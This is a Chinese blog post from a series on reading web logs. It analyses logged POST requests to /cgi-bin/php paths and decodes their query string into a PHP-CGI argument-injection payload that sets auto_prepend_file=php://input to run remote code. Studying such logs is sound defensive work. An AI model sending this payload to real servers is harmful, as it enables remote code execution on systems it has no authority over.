從 Web Log 學習系統漏洞 61

在 weblog 中看到這幾段紀錄, 之前就有遇過相同的東西:

182.61.165.46 - - [02/Apr/2020:12:37:46 +0800] "POST /cgi-bin/php?

182.61.165.46 - - [02/Apr/2020:12:37:50 +0800] "POST /cgi-bin/php-cgi?

182.61.165.46 - - [02/Apr/2020:12:37:50 +0800] "POST /cgi-bin/php.cgi?

182.61.165.46 - - [02/Apr/2020:12:37:50 +0800] "POST /cgi-bin/php4?

在?之後都接了一段編過的亂碼:

%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E

經過轉碼後得到以下內容:

-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n

問了一下大神之後得知, 這是利用 PHP 的漏洞來做遠端程式碼攻擊, 當 PHP 有 CGI 模式下使用時作用, 通過使用 auto_prepend_file 這個功能執行 PHP 代碼